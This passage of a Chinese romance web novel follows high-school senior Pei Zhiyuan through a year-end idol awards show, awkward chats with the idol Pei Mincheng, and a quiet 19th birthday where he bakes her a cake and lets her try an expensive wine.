到年末时已经入冬，绥川早早地就下了雪，告别完还要上课的两人，并向郁渺转达会替她好好看的话之后，两人就坐上了飞往J国的飞机。
YuAn：我到了。
检票前，裴祉嫄才联系了这个在自己列表躺了很久的人。
Hfueiwndni：嗯，结束后场馆侧门见。
裴祉嫄收起手机和姜烟澜一起检票入场。
她们都是第一次来年末舞台，一副没见过世面的样子跟着人群走，四处好奇打量，姜烟澜一边惊叹一边还不忘牵住裴祉嫄的手，两人找到位置后落座，凑到一块等表演开始。
舞台都很不错，只是裴祉嫄一心想着结束后的事情无法专心，身旁的姜烟澜倒是十分投入，每一组出场都赞叹一声。
时间一分一秒的流逝，万众瞩目的ERATH终于出场了。
这次年末是他们时隔两年后再次出演，且是所有年末舞台里唯一一场，向来以年末没有ERATH等于没有年末而著称，现场在听到ERATH歌曲前奏响起时，就已经陷入了整齐的尖叫。
训练有素的粉丝们尖叫没有几秒钟就变成了整齐的应援声，声音甚至比军训时还大声还整齐。
突然暗下去的灯光让裴祉嫄下意识抓住了身边人的衣袖，随后是同时亮起的灯和出现的歌声。
裴祉嫄看向不远处的大屏，把台上的人收入眼底。
许久不见，裴珉承的头发换成了亮眼的白金色，在一群五颜六色的脑袋里也显得格外耀眼，第一次看现场，裴祉嫄最大的感悟就是，原来平时的裴珉承已经很收敛了。
私下的裴珉承虽然看起来就很有攻击力和距离感，但是细节处可以感觉得到人至少还是温和的，舞台上的裴珉承则是放大了他的攻击力。
漂亮艳丽的脸和亢奋的低音形成了最大的反差，出道十余年的台风很稳，即使在团队里镶边，也丝毫没有落下风。
夺目耀眼。
在某个裴珉承看过来的瞬间，裴祉嫄甚至产生了两个人在对视的错觉。
血液的沸腾导致了心脏的加速跳动，裴祉嫄沉浸在堪比ERATH演唱会的氛围里，欣赏完了他们的舞台。
全部舞台结束后还是一年一度的颁奖，预料之中的，ERATH获得了大赏。
因为知道他们很火很厉害，所以好像也不是很惊讶。
或者可以说，看完他们舞台的人是不会觉得这个大赏能落入别家手里的。
退场时姜烟澜还很兴奋地和她聊天，大有一种我明天也要入坑的感觉，裴祉嫄不想和众人挤，又担心让人等着不好，于是只好拜托了姜烟澜。
“可是你一个人我也不放心啊。”
“没事的，”裴祉嫄退出人流，站在一侧等待，“拜托你了小姜，我不好意思让人多等。”
姜烟澜无奈道：“行吧，反正来都来了。侧门是吧，你慢慢来，我在门口等你。”
“嗯，谢谢你！”
不放心地一步三回头，姜烟澜抱着担忧的心情走出了场馆。
场馆门口只有一个和周围的人都格格不入的短发女生，姜烟澜仔细打量了一下，确定了对方的身份后走上前去，“你好，我是来取衣服的，请问你是送衣服的吗？”
背对着人群的短发女生闻言扭头，露出了一张精致的脸，她神情冷漠地盯着姜烟澜看了一会儿才“嗯”了一声，然后把手里的裙子递了过去。
“谢谢你。”
大冬天的，姜烟澜愣是被眼前的女生冷死了，幸好对方也只是来完成任务的，送完衣服转头就走，没有再和她说话。
姜烟澜站在原地等了一会儿，都要开始着急了才等到慢悠悠走出来的人，她迎上去牵住裴祉嫄冰冷的指尖，“还以为你准备住里面呢。”
“人主办方也不让啊。”裴祉嫄从她手里接过衣服，动作自然地挽住对方的手，“好冷啊。”
“是因为里面太暖和。”
两人边走边讨论接下来的行程，虽然舞台结束了，但是请的假期还没结束，毕竟来都来了。
不远处的角落里停放着一辆车，在注视着她们走过后也悄无声息地驶入了夜色。
“那么担心怎么不送人回去？”
“没担心。”下了舞台，裴珉承又恢复了面无表情的样子，面对妹妹的提问也面不改色。
“上次让我送衣服，这次让我还衣服，”裴珉雅掰着手指头数，然后看向哥哥，问道：“下次准备让我干什么？”
“……”裴珉承沉默了一下，没有第一时间回应她，就在裴珉雅开始思考两个人的关系时听到哥哥说，“没有下次了。”
没有意外的话，他们不会再有接触，本来加她的联系方式也是为了还衣服，现在两个人没有可以再联系的理由了。
裴珉雅反应过来他话里的意思后啧了一声，“我还以为你准备脱单呢你。”
裴珉承皱眉道，“别胡说。”
裴珉雅不以为然地哦了一声，然后说：“得了孤寡老人家，你就慢慢回酒店休息去吧，我要下车了。”
“……”裴珉承好像被捅了一刀，“你要去哪儿？”
“年轻人当然是要去玩啊。”
在路边停下车，裴珉承看着妹妹走向等在路边的一个本国女生，在两人走远后，收到了一条妹妹的消息。
MINa：虽然
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都快说烦了，但是恭喜你又拿奖了哥哥。
所以每次都走后发一条消息，甚至连条语音都舍不得？
裴珉承盯着这条消息看半天，退出去时看到了一个躺在自己列表的头像上出现了一个标记。
他不明所以地点开对方的头像，发现几分钟前对方更新了新的状态。
背景是一张路边风景照的照片，配文是一个可爱的表情符号。
鬼使神差地，裴珉承顺势点进了对方的朋友圈。
最新的一条视频是几分钟前的，看起来和状态栏是一条街，内容则是一堆吃的。
速度还真快，这才散场多久啊，人都跑到了商业圈美食街去了。
裴珉承感叹了一下现在年轻人充沛的精力，退出去时发现对方给他发了一条语音。
YuAn：宝宝！我跟你说这里一点都不好玩！
不好玩语气还那么兴奋。
裴珉承还没回复，紧接着又是一条新的语音。
YuAn：我和小姜本来打算去试试这里的酒，听说很好喝来着，可是没到20，不让喝。
拖长的语气包含了委屈和控诉的意味，接连的两条消息发送的对象很显然不是他，她会是叫谁呢？
男朋友吗？
裴珉承没有回复，只是盯着已经息屏的手机发呆。
现在的人学生时代就开始谈恋爱了？
上学时他的时间全泡在练习室了，还真不太了解，裴珉承无聊地锁屏又解开，最终把手机一丢，驱车回了酒店。
意识到自己发错消息已经是大半个小时之后了，两人和国内的郁渺两人通话，裴祉嫄开始质问，“我发消息给你你怎么不回我？”
“？”电话那头的郁渺打开聊天记录，顶着头问号反问：“我说，你是把谁当成我了？你还有几个宝宝？”
电话两头的人默契回答：“还有俩哦。”
而发现自己把语音错发给同头像的裴珉承还无法撤回后，裴祉嫄感觉天都塌了。
“不是，你那个丑头像怎么那么多人用？”
郁渺啧了一声，“什么丑头像啊，瞎说，那可是我担自己拍的！”
哦，怪不得那么的，不好看。
两个人都开始因为一个人破防，裴祉嫄尴尬得无地自容，后面的话题就没怎么参与，等姜烟澜挂掉电话，发现她还在戳屏幕。
“？”
接收到她疑惑的眼神，裴祉嫄开始解释刚才的小误会，然后收获了姜烟澜的嘲笑。
“没关系的，你就如实解释就行，毕竟头像一样，你没仔细看备注，发错也很正常。”
在姜烟澜的鼓励下，裴祉嫄把道歉小作文发了出去，于是那头快要睡着的裴珉承被提示声吵醒了。
打开发现是裴祉嫄的道歉小作文，裴珉承大致阅读了一下，发现除了开头真心实意的对不起之外，后面全是在毫不走心地灌水。
Hfueiwndni：没关系。
裴珉承发送完，等了一会儿才收到回复。
YuAn：酒好喝吗？
Hfueiwndni：为什么问我？万一我不喝呢？
YuAn：少骗人了大明星，互联网可是有记忆的，我看过你直播哦。
万万没想到裴祉嫄还会看他直播，裴珉承没有第一时间回复，然后迅速被扎了第二刀。
YuAn：而且我身边只有你一个能问的大人哎。
看他没回复，裴祉嫄手速飞快地撤回了消息。
YuAn：对不起。
……为什么道歉反而更扎心？
道歉消息发出后又隔了几分钟，裴祉嫄才收到了回复。
Hfueiwndni：我已经看到了，撤回无效。
5. 圣诞
裴祉嫄没想到对方看消息那么快，独自在屏幕这端尴尬了半天，最后开始耍赖不承认。
YuAn：其实刚才是我朋友滚键盘滚的。
Hfueiwndni：辛苦了，你朋友。
纠结了半天，裴祉嫄还是没有再回复。
或许是知道她的想法，那头的裴珉承也默契地止住了话题。
由于明天还有课，两人逛了一会儿还是老老实实飞回国了。
缺课什么的，如非必要还是尽量避免的好。
因为学业繁忙，裴祉嫄没有再关注娱乐圈的消息，只是偶尔从郁渺那里得知ERATH又拿了什么大赏，具体是什么奖她也不懂，总之很厉害就对了。
时间一晃而过，很快圣诞就来了。
节日前学校两旁就已经出现了卖苹果的，临近的商业街三步一颗圣诞树，五步一场圣诞活动。
节日氛围很浓。
平安夜那天恰好是周末，四人约着出门逛街买一年一度的红衣服，拍了大头贴照片后去了火锅店。
店里很暖和，由于周末的缘故人也很多，四个人找了一个角落落座，等菜途中分成了两派。
郁渺和姜烟澜是疯狂修图派，裴祉嫄和厉念是喝饮料等上菜派。
上菜后几个人咔咔拍照，拍完火锅拍自己，漫长的前菜时间结束后，有人忙着干饭，有人忙着聊天，还有人忙着修图。
饭还没吃多少裴祉嫄就接到了一个电话，心里有所猜测，裴祉嫄告别了三人，一个人先回了学校。
裴祉嫄在门卫处领了苹果花束，花束底下是绿色的很有圣诞氛围的纸，中间一颗很大很红的苹果，周边一圈鲜红的玫瑰花，侧边还有一只可爱的小熊玩具，裴祉嫄在小熊身上翻了翻，在它胸口前的口袋里掏出一张纸。
×：平安喜乐。
裴祉嫄掏出手机举着花束自拍，把照片发到群里后又同步发了朋友圈，三个人迅速点赞评论，紧随其后的是爸爸妈妈的祝福，裴祉嫄一一回复后，发现了一个陌生头像也给她点了赞。
虽然头像陌生，但是ID眼熟啊，裴祉嫄汗流浃背地点开了聊天框，看见对方刚刚发来的消息。
Hfueiwndni：圣诞快乐。
YuAn：也祝你圣诞快乐！
YuAn：最近很忙吗？
下意识的寒暄过后，裴祉嫄就迅速把把消息撤回了，但是显然，裴珉承的速度想来很快。
只是，态度和以往大相径庭。
Hfueiwndni：嗯。
裴祉嫄觉得有些尴尬，回了一个哦就退出了聊天框。
裴珉承也没再发消息给她。
三人怕她走太早没吃饱于是又给她带了吃的，裴祉嫄一边啃苹果一边道谢：“要是没有你们，我今天晚上就得啃床柱子了。”
三个人围在一起写作业，裴祉嫄则在自己的位置上安安静静地吃饭。
晚上十点，宿舍准时熄灯，四个人躺在床上隔空聊娱乐圈最近新出的八卦和笑料。
对这些不太关注的裴祉嫄不怎么参与话题，听也是听得一知半解的，她躺在床上，还是有点在意裴珉承的态度。
前一秒还主动给她发消息送祝福呢，下一秒怎么就开始那么冷淡了，她有哪里得罪他吗？
抱着这样的疑惑，伴随着宿舍里尚未停歇的说话声，裴祉嫄睡了过去。
率先发现的是姜烟澜，她小声说了一声，“我们在群里聊吧，元元睡了。”
“好。”
三个人聊了大半宿才睡，于是第二天，裴祉嫄只好一个人去吃饭。
吃完饭裴祉嫄去拿了新的礼物，这次是一束草莓圣诞树，纸条上简短的写了“圣诞快乐”，照旧拍照片留恋，只是这次她没有再发到群或是朋友圈了。
拿回宿舍和几人一起分享了草莓过后，裴祉嫄把光秃秃的圣诞树丢掉，缩回床上玩手机了。
洗漱好的三人结伴去了食堂，裴祉嫄就没有戴耳机，外放着刷视频。
大数据照旧推送了很多裴珉承的视频，这些时间她没怎么看倒是不怎么习惯了。
一连刷到很多条获奖的视频，裴祉嫄才发现自己从头到尾都没有恭喜过他，两个人虽然不算朋友，但是好歹认识，发一句应该也没事吧。
没有犹豫太久，裴祉嫄退出视频软件给对方发去了一句恭喜获奖的话，意料之中的没有得到回复，不过她也不是很失望，毕竟裴珉承工作特殊，平时忙很正常。
裴祉嫄返回去继续刷视频，刷着刷着又被安利了团综。
等到三人回来后，裴祉嫄就关掉了手机，她不想被人误会在追星。
晚些时候，四人揣着支笔就去了教室。
冬天很冷，但是学校很抠，空调或者暖气这种东西，不管是宿舍还是教室都没有安装。
学生们紧闭门窗，挤在一块取暖。
晚自习时间到，穿着风衣外套的老师走进教室的第一秒就敞开了大门，顺便还吩咐人推开了窗。
“都说叫你们要勤通风，你们自己出去再进来闻闻，班里的味道多难闻。”
当然了，因为就在她进来之前，一堆人还在吃辣条零食，没味才怪。
坐在风口的前排同学冷得缩成一团，后排本来幸免于难，老师一句话又给把后门也开了。
这下四面漏风，学生们私下小声抱怨，冷得缩了缩身体。
裴祉嫄向来很佩服英语老师的身体素质，同样的天气，她甚至只穿风衣，站在正对大门的地方还能面不改色。
英语老师叫人分发试卷，然后就坐在讲台上看他们答题，中途出去了一段时间，裴祉嫄听到有人猜测她是不是太冷了回办公室取暖去了，但是这样的声音并不多，大部分还是在安静低头答题。
高三一班作为绥川大学附属高中的重点班，成绩是个顶个的好，虽然嘴上骂骂咧咧，但也不影响手下刷刷大题。
毕竟这个年龄段的孩子不需要考虑未来，她们面临最近的未来就是即将到来的高考。
班里的纪律向来好，身为同学厉念性格温和好说话，身为班长的她负责严肃有威信，英语老师一走她就搬到讲台边上写卷子了，没人敢闹，都乖乖的各写各的。
第一节课快结束时，英语老师才重返班级，让没写完的继续写，没写完的休息。
第二节课是讲卷子的，大家都习惯了这样的节奏，白天复习晚上考试，一个个精神抖擞地听讲。
不过英语的讲题和别的科目
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不太一样，他们通常是同桌互换改卷子，英语老师把答案念给她们对，然后再问有没有人没懂。
通常情况下，没有人会说不会。
然而往往在这时，英语老师就会开始请人解题。
所以每当英语课晚自习时，相较于其他科目英语较弱的裴祉嫄总是难免生出几分紧张。
煎熬地上完晚自习，裴祉嫄总算是松了口气。
吃饭太早的裴祉嫄饿死，四人又去超市买了泡面。
虽然爸妈总说不健康，但是，我都吃泡面了还管它健不健康吗？
四人顺带买了很多吃的回寝室。
裴祉嫄是在看综艺时收到裴珉承回复的。
Hfueiwndni：谢谢。
依旧是冷淡的回应。
裴祉嫄不明所以，她到底哪里得罪他了，忍了大半天实则没忍住，连泡面都顾不上吃，裴祉嫄把憋了好久的话发了出去。
YuAn：我得罪你了吗？
这时候人回复就又快了。
Hfueiwndni：没有。
YuAn：那你为什么突然这样？
Hfueiwndni：哪样？
裴祉嫄不知道他是不是故意的，总之不管是不是她都不太开心，愤愤地吸了几口面，裴祉嫄打了两个字发送就把人拉黑了。
眼不见心不烦，她要美美享受晚餐。
电话那头的裴珉承盯着聊天框里的算了两个字发呆，不由地想到了昨天。
他习惯性地刷朋友圈时刷到了裴祉嫄发的照片，然后习惯性地点了赞表示已阅，但是他忘了，自己的手机上还有裴祉嫄父母的联系方式。
几乎在他点完赞的下一秒，岑芮的消息就发了过来。
往事随风：小裴啊，你什么时候和我们元元有的联系方式的？
Hfueiwndni：不好意思阿姨，上次她落了点东西在我家，我托人给她送回去。
岑芮语气很温和，但是裴珉承知道对方不是很乐意两人有所联系，他明白她的担忧和顾虑，于是也主动向岑芮作出了保证。
她怎么回复的来着？哦，对了，谢谢。
好像他是什么洪水猛兽一样。
很奇怪，裴珉承感觉自己的心情变得有点郁闷，但是他找不到源头。
所以看着裴祉嫄发过来的消息，他也忍住了多说几句话的想法。
裴珉承翻看了一下两个人的聊天记录，两个人认识没多久，聊天框却是一眼拉不到头。
当然，大多数时候都是裴祉嫄的消息。
他发现她的生活作息很不规律，有时候大白天说要睡觉，但是更多的时候是深更半夜给他发消息。
而且都是些毫无营养的帖子。
甚至还有各种分享领东西的链接。
这类消息裴珉承没有回复，他觉得裴祉嫄也不需要回复，他和微信传输助手应该没什么区别。
思及此，裴珉承又下意识地点进了对方的朋友圈，然后发现对方的朋友圈变成了一片空白。
裴珉承试探着给裴祉嫄发去了一个句号，有些意料之中地收获了一个红色的感叹号。
裴珉承叹了口气，裴祉嫄乖是乖，脾气也挺大的。
6. 生日
就这样又过了几天，裴祉嫄的气都消了，默默地把裴珉承拉出了黑名单。
一年的最后一天是裴祉嫄的生日，恰好是周日，连着周一的元旦假期，有了三天假期，裴祉嫄早早地告别舍友回了家。
家里很冷清，父母又在忙工作，裴祉嫄有点失落，但是也习惯了。
她休息了一会儿去琴房录制了一条视频，久违地登录了账号，挑了几条评论回复就退出了账号。
因为没事情干，裴祉嫄在琴房待到很晚才出去，偌大的房子空无一人，走廊里没开灯，漆黑又冷清，裴祉嫄站在厨房门口盯了半天，连煮饭的心思都没有，于是随便点了个外卖准备对付两口就算了。
爸妈工作忙，她也不是第一次一个人迎接生日了。
拿到外卖，裴祉嫄拍了照发在朋友圈提前祝自己生日快乐，他们应该在忙所以没有看到，裴祉嫄刷新了几遍也只看到几个舍友的消息。
点回群里，群里也很热闹，郁渺问有没有出来玩一起跨年，裴祉嫄没有什么心思于是拒绝了。
外头万家灯火，到处一片热闹的景象。裴祉嫄看着桌面上散发着香味的外卖，戳了几下，突然没心情吃了。
窝在床上刷了半天视频，屏幕上弹出了裴珉承的消息。
Hfueiwndni：你生日是今天呀。
Hfueiwndni：生日快乐[红包]
YuAn：是，谢谢你的祝福，心意我收到了，钱就不用啦。
那头刚从国外回到家，洗漱完正躺在床上休息的裴珉承正和刚分开的成员们聊天，间隙时退出去翻了翻朋友圈，意外地看到了裴祉嫄几分钟前刚更新的照片。
他意识到自己被拉出了黑名单，想起还在忙碌的岑芮夫妇，叹了口气，裴珉承还是点开了裴祉嫄的头像。
他不知道裴祉嫄的兴趣爱好，且这个时候再去准备生日礼物也明显有点来不及了，想起家里的妹妹，裴珉承选择了用同样的方式表达自己的祝福。
只是好像，不太有用。
对方既没有收红包也没有再发消息，直到手机息屏，裴珉承才再次摁亮屏幕。
半小时后，已经快要睡着的裴祉嫄被手机的消息提示声吵醒了。
打开一看，是发完钱就不见人影的裴珉承。
Hfueiwndni：[位置]绥川市南宁路133号
YuAn：？
对方还没回复，裴祉嫄便顺手点了进去，然后发现那里是绥川有名的富豪居住区，房价以八开头，至少八位数打底。
虽然裴祉嫄经济条件也很好，但是家里的人物质欲望都特别低，爸妈还为了热爱在本该在外四处旅游的年纪坚守岗位，而她所居住的房子算不上很便宜，但是比起这个地方，还是有点小巫见大巫的感觉。
YuAn：炫富？
Hfueiwndni：……不是，你过来。
YuAn：有事？不去。
Hfueiwndni：有事，你先来。这里很安全，你放心吧。
比起她上次去的地方当然算很安全，安保系统都是出了名的好。
也许是无聊，裴祉嫄纠结了一下还是出了家门。
窗外大雪纷飞，她不方便叫司机送，一是为了避免这件事被爸妈知道，而是人家司机也是要放假的。
于是最后，裴祉嫄顶着司机师傅在听到她说完目的地后震惊的目光，颇有些不自在地坐上了车。
好在司机也没有打探人隐私的想法，跑完这一单就准备回家休息了。
雪太大，如非必要没有人愿意上路。
前几天还因为路面结冰而暂时封路了，现在冰层融化，也是才重新开始有车上路接单的，不然今天裴祉嫄就不可能打得到车。
虽然两个地方每个离得不远，但是由于雪天还是耽搁了好些时候才抵达。
幸好雪已在来的路上渐渐停了，裴祉嫄站在门口给裴珉承发消息，没过几分钟，就看到一道穿着黑色大衣的高挑身影朝她走了过来。
“等很久了吧，抱歉，有点忙。”
直到他走近，裴祉嫄才在他身上闻到了一股有些香甜的味道。
裴祉嫄摇了摇头表示没关系，跟着他走了进去。
院子大得离谱，不远处伫立着一栋纯白色的别墅，快要和漫天的大雪融为一体了。
看着看着，裴祉嫄的目光不禁落到了前面的裴珉承身上，认识他那么久，从来没有见过他没染发的样子，稍微长长了一些的蓬松黑发顺着主人的动作微微晃动，黑色的头发和素颜的脸，显得有些居家的着装淡化了他身上的距离感，莫名的有些乖顺。
裴祉嫄光顾着盯人，脚下一个不留神差点崴到，还好前面的裴珉承发现人没跟上转过头来，眼疾手快地拉了她一把。
“雪天路滑，小心一点。”裴珉承看着裴祉嫄说，然后突然后知后觉到她眼睛不是很好的事情，于是走近了一点，把衣袖递过去说：“牵着我的衣服吧。”
裴祉嫄小心翼翼地拽住他的袖口处，然后听到他给她道歉，“对不起，我没考虑到你。”
“没关系的，”裴祉嫄问，“所以，你找我有什么事吗？”
还好路也就几步了，一到门口裴祉嫄就松开了手，然后询问起了他找她的目的。
“其实，也不是什么大事，”裴祉嫄开了门，又先把灯开启，直到房间里都变亮了才侧身让裴祉嫄进去，“你先坐着，等会就好。”
裴祉嫄正襟危坐地坐在沙发上，趁着裴珉承给她倒水时做贼似的飞快扫了一眼房子的内部。
和他那栋不常去的房子一样，外面冷冷的，里面摆设很温馨。
像他这个人一样。
喝完水裴祉嫄就去看裴珉承在干什么了，让她一个人坐着实在是有些坐立难安。
有些意外地发现裴珉承正在装饰一个完成了七七八八的蛋糕，裴祉嫄怔怔地看着他认真的侧脸。
察觉到她过来，裴珉承也没有再遮掩，“快过来看看满不满意，不过就算你不满意也没办法，我第一次学做蛋糕，卖相可能不太好，但是味道，应该还行。
原来他身上的味道是这么来的，裴祉嫄低下头遮眼角的泪花，然后一步步挪了进去。
再开口时声音都有点抖，“裴珉承……”
反应过来裴祉嫄住了嘴，缓了缓情绪后再次开口，“谢谢你。”
爸爸妈妈太过忙碌，除了她车祸在家修养的那一年给她过过一个生日，剩下的生日全是买了蛋糕放家里就算过了，今年蛋糕也没有，生日祝福也没有，裴祉嫄不敢去打扰他们工作，可是内心
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还是很委屈。
“你可别哭啊我不会哄人，”裴珉承有些头痛地和眼睛都红了的人对视，然后转头继续投入工作，“准备得有些仓促了，我是想说既然你也不收钱，那干脆陪你过个生日吧。”
以生日需要惊喜为由把裴祉嫄赶了出去，裴祉嫄心情复杂地坐在大厅等待。
期间，四人群里不断传来她们发来的视频，裴祉嫄挨个点开看了一遍，刚看了几条，头顶的吊灯就熄灭了。
裴珉承淡淡的解释声在安静的空间响起：“歌就不唱了，但是仪式感还是走一下吧。”
把带着水果和奶油香味的蛋糕放在她面前，裴珉承指着蛋糕顶上插着的蜡烛，“许愿吧。”
虽然没有什么愿望想许，但是为了仪式感，裴祉嫄还是双手合十闭上了眼，过了几秒钟，她睁开眼睛吹灭了蜡烛。
与此同时，灯也亮了起来。
随之响起的还有裴珉承的声音，“19岁生日快乐，裴祉嫄。”
裴祉嫄眨了眨眼，接过裴珉承切给她的那一块蛋糕，然后再次道谢。
两个人距离不算远地一人捧着一块蛋糕坐下，裴祉嫄咽下蛋糕后听到了裴珉承询问的声音，“好吃吗？”
口腔里弥漫着蛋糕胚的香味，有些腻的奶油被水果很好的中和掉，裴祉嫄回味了一下，真诚地回答，“很好吃。”
虽然外观确实没有专业蛋糕店做的漂亮，可是味道却一点都没有输给专业人士。
裴祉嫄猜得到从刚才他给她发消息时就在准备这些，虽然自己也没有做过蛋糕，但是她知道做蛋糕从准备材料到完成也要花不少时间，对裴珉承的感激之情是很难用一句谢谢来表达的。
裴珉承朝她笑了笑：“好吃就好。”
“你没有吃晚饭吧，蛋糕少吃点，待会儿我煮东西给你吃。”
“谢谢。”
可是除了谢谢，裴祉嫄不知道还能说什么。
外面有人在放烟花，此起彼伏的烟花一簇一簇地升到天空然后降落，从屋内的角度只能看到它落下的样子，裴祉嫄捧着蛋糕，神情投入地看着。
“裴祉嫄。”
“嗯？”
裴祉嫄被身后的声音唤回神，下意识按亮了手机屏幕，锁屏处的时间从23：59跳了一下，下一秒，变成了崭新的00：00。
新的一年开始了。
“恭喜你正式开启19岁的第一天，”裴珉承顿了顿，补充道，“希望你每一天都能幸福。”
能不能每天幸福裴祉嫄不知道，但是起码现在，她很开心。
裴祉嫄吃蛋糕时裴珉承就在厨房煮面了，按照他的说法，过生日是要吃面的，但是时间来不及，为了赶在生日结束之前过生日必须要二选一，裴祉嫄果断选择了蛋糕。
刚才那点外卖她都没吃上几口，虽然吃了蛋糕，但是还是很饿。
在裴珉承煮面的时候裴祉嫄就闻到了好闻的香味，奶油裹满了每一根面条，还有煎得恰到好处的牛排，裴祉嫄随口道了声谢就先叉了一块牛排塞进嘴里。
不知道是不是长时间接触的原因，裴珉承现在感觉得到，她好像没有开始那么的怂自己了。
也是件好事。
裴珉承看着正专心吃面的人，问道：“或许，你想要搭配一点酒吗？”
7. 喝酒
裴祉嫄跟着裴珉承去了酒柜，然后一眼看中了一款白葡萄酒。
裴珉承笑：“你眼光还挺好。”
裴祉嫄也不懂酒，就是在一柜子散发着金钱味道的酒前挑了个一眼相中的，闻言，她疑惑地问道：“这个酒很贵吗？要不然换一个？”
“不用。”说话间，裴珉承已经取了酒。
拿出去后裴珉承又去取了两个霞多丽被子，把酒倒出来递了一杯给裴祉嫄。
“这酒还没醒过，不过你可以先尝尝看，不要喝太多。”
杯子里的酒呈现出稻草黄的色泽，裴祉嫄心脏因为初次尝酒而激动得加速跳动，她凑上去闻了一下。
是很浓郁的花香和果香味。
裴祉嫄端起杯子喝了一口，没有想象中那么难喝，甚至还想再喝一口，不过她也记着裴珉承的话没敢多喝，放在一边继续吃面了。
裴珉承安静地坐在一边，没有打扰她。
等到她吃完面，酒也醒得差不多了，裴祉嫄在裴珉承的指导下喝了一点。
醒过的酒味道更好闻了，裴祉嫄一个没忍住，多喝了一点。
“……”
没拉住。
裴珉承看着眼睛里都开始闪泪花的人，把酒杯夺过放下，然后起身说：“太晚了，我送你回去。”
“我还以为你要说留我在这住呢。”
裴祉嫄脑袋有点迷糊地站起身，没有注意到裴珉承的下意识伸过来的手在她站稳后又缩了回去。
“那样不好。”
除出了门，裴珉承干巴巴地解释了一句。
一开门迎面而来的冷风把裴祉嫄的头脑都吹清醒了，她拒绝了裴珉承要送人的举动，然后伸手指了指附近。
“我回家，很近的，”看裴珉承一副不相信的模样，裴祉嫄伸手拍了拍他的肩膀，道：“真的，很近。不信你就站在门口看。”
然后裴珉承就看着裴祉嫄从他家走出去拐进了旁边的别墅里。
“……”
他现在真的不太确定对方是不是醉了。
下一秒，手机上弹出了裴祉嫄的语音消息。
YuAn：我到啦。
YuAn：哈哈，我都忘了，原来我爷爷奶奶的家在这！
“……”
确定那真的是你爷爷奶奶家吗？
听着女生磕磕巴巴的话，裴珉承再次后悔自己没有跟上去。
但是如果真的是她爷爷奶奶，他要怎么解释他们俩深更半夜的还在一块？
YuAn：你怎么不搭理我呢？
他没有回消息，裴祉嫄就开始不停的发语音。
大多数都是毫无意义的几秒钟，完全一片杂音。
裴珉承猜是她脑子迷糊到不知道自己在说什么。
这句话的背景音里还夹杂着一道苍老但是很有力的声音，裴珉承听到疑似爷爷的人拉长了声线唤道：“元元。”
这才略微放下心。
听完这条语音，裴珉承发现对方给他发了999+消息。
全是乱点的各种表情包。
“……”
裴珉承按住语音处，录制了一句话。
那边无意识耍酒疯的裴祉嫄在爷爷奶奶的照顾下终于回到了自己不常住的卧室，然后才有空点开已经被自己刷屏的聊天框。
Hfueiwndni：不要闹了，早点睡。
还怪好听的。
裴祉嫄播放了几遍，然后回了一句晚安。
准备没有收到回复就不睡觉。
然后去收拾有些杂乱的家回来的裴珉承一打开手机，发现手机消息再次显示999+。
这次不是表情包了，而是一句话。
YuAn：我不睡了，你这个罪魁祸首。
不知道在他没回消息的这段时间她是怎么有精力复制发了上百条的。
裴珉承感叹了一句年轻人的耐心，看着这条消息没忍住笑了笑，这个时候的裴祉嫄显得有些孩子气。
不过不那么乖，好像也很好。
裴珉承在已经没有动静的聊天框发送了一句晚安，意料之中的没有收到回复。
这个时候裴祉嫄已经扛不住酒精的侵袭睡了过去。
翌日，裴祉嫄从有些陌生的床上醒来时吓了一大跳。
反应过来这里是哪里之后才松了口气，继续缩进被子里准备睡回笼觉。
她爸妈和爷爷奶奶是分开居住的，理由很简单，南宁路距离公司所在的商业中心没有他们现在所居住的地方近。
裴祉嫄对两位老人感情不是特别深，原因之一是她失去了记忆，不记得有跟两位相处过。
最深刻的就只有她在休养康复期的时候在这里住过一段时间，其他时候，就算是寒暑假她也不是每次都回来。
所以对这里她不熟悉，看到裴珉承分享的位置时觉得眼熟也没多想。
第二个原因就是她的爷爷奶奶都是那种很严肃的人，尤其是奶奶，平日里不苟言笑，给人一种很不好相处的感觉。
不过时间长了裴祉嫄也知道他们都是很慈祥的老人家，只是最开始的印象定下就留下了心理阴影，无法轻易改变。
裴祉嫄不敢像在家一样赖床，于是很快掀开被子出去洗漱了，离开卧室前还不忘把被子都整理好。
下楼后发现爷爷奶奶都已经在客厅坐着了，裴祉嫄有些不好意思地和他们问好。
爷爷见到她，露出一个不怎么擅长的笑：“头还疼不疼？”
裴祉嫄摇摇头，“不痛了爷爷。”
说完裴祉嫄欲言又止地看向奶奶的方向，虽然知道她不吓人，但是她这副沉默不说话的样子还是很能唬人。
奶奶注意到她的视线，玩手机的动作不变，掀开眼皮看了她一眼，声音平淡：“吃饭去吧，我和你爷爷已经吃过了。”
本想回学校再吃，不过既然这里有，那她当然是选择先吃，裴祉嫄哦了一声转身进了厨房。
吃完后，裴祉嫄就提出了要回学校的事。
闻言，奶奶眉头一拧，“干脆请假多休息几天吧，感觉你精神状态不太好。”
裴祉嫄连连摆手拒绝，又说自己高三可不能缺课，爷爷阻止道：“好啦，她自己也不是小孩子了会自己看着办的，你就不要留人了。”
看着故作不在乎的奶奶和面露不舍的爷爷，裴祉嫄有些不忍心，“爷爷奶奶，我过年放假就来陪你们。”
最终约定好等放假就来看他们二位，裴祉嫄就出了门。
一路上都很安静，或者说，在这别墅区仅有的两栋楼里，一栋住着常年在外的明星，一栋住着两位老人，实在也是很难热闹得起来。
裴祉嫄在两栋楼的中间站着看了一会儿，不知道
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裴珉承还在不在家。
她昨天晚上喝的酒度数并不是很高，而且她也没有喝很多，只是她第一次喝酒不太适应，加上心情本来就不好，才更容易醉。
思及此，裴祉嫄突然想到自己好像后来还和他聊天了。
好奇聊了什么，对这一段已经断片的裴祉嫄点开聊天框，一长串由她发出去的消息映入眼帘。
“……”
裴祉嫄的脑海里闪过一些片段，不忍直视地退出了聊天框，连语音都还没点开。
这谁受得了。
超绝黑历史。
昨天的雪经过一晚上的时间已经融化了大部分，地面上只有残余的一层雪花，裴祉嫄轻而易举地打到了车。
当然，这次也没有逃过司机的火热视线。
裴祉嫄努力忽略这道视线，面不改色地坐上车。
幸好她家离学校也不是不远，她甚至不用回家拿东西就可以直奔学校。
在路途中，裴祉嫄打开了忽略了一整晚的聊天群，一条条翻看她们昨晚的聊天记录。
看到她们问高考后要不要一起去喝酒，裴祉嫄突然想起来了一件事。
退出聊天页面，裴祉嫄打开浏览器开始回想自己昨天晚上喝的酒。
在试错好几次后终于弹出了正确的消息。
感谢互联网伟大的联想功能，不然她试道天荒地老也找不到。
浏览器给出的答案是：勒弗莱酒庄。
裴祉嫄搜了一下，然后瞪大双眼。
昨晚她喝的那款白葡萄酒一口都要五位数起步，这和金子有什么区别？难怪裴珉承说她眼光好。
